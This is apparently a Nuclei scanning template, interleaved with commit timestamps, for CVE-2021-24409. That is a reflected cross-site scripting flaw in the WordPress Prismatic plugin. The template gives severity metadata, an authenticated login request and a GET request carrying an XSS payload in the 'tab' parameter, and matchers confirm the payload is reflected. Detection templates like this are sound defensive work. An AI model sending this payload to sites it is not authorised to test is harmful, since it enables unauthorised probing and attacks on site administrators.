2023-08-14 11:30:37 +00:00
id : CVE-2021-24409
info :
2023-08-15 15:39:25 +00:00
name : Prismatic < 2.8 - Cross-Site Scripting
2023-08-14 11:30:37 +00:00
author : Harsh
severity : medium
description : |
The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 2.8
2023-08-14 11:30:37 +00:00
reference :
- https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
2023-08-15 15:39:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24409
2023-08-14 11:54:30 +00:00
classification :
2023-08-14 11:30:37 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-08-31 11:46:18 +00:00
cve-id : CVE-2021-24409
2023-08-14 11:30:37 +00:00
cwe-id : CWE-79
2023-08-31 11:46:18 +00:00
epss-score : 0.00188
epss-percentile : 0.55477
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
2023-08-14 11:30:37 +00:00
metadata :
2023-08-15 15:39:25 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-08-31 11:46:18 +00:00
vendor : plugin-planet
product : prismatic
2023-09-06 12:09:01 +00:00
framework : wordpress
publicwww-query : "/wp-content/plugins/prismatic"
2023-08-31 11:46:18 +00:00
tags : wpscan,cve,cve2023,wordpress,wp,wp-plugin,xss,prismatic,authenticated
2023-08-14 11:30:37 +00:00
http :
2023-08-14 11:54:30 +00:00
- raw :
2023-08-14 11:30:37 +00:00
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
2023-08-15 15:39:25 +00:00
GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
2023-08-14 11:30:37 +00:00
Host : {{Hostname}}
2023-08-14 11:54:30 +00:00
2023-08-14 11:30:37 +00:00
cookie-reuse : true
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
2023-08-15 15:39:25 +00:00
- 'contains(header_2, "text/html")'
- 'contains(body_2, "Leave A Review?")'
- 'contains(body_2, "onanimationend=alert(document.domain)")'
2023-08-14 11:54:30 +00:00
condition : and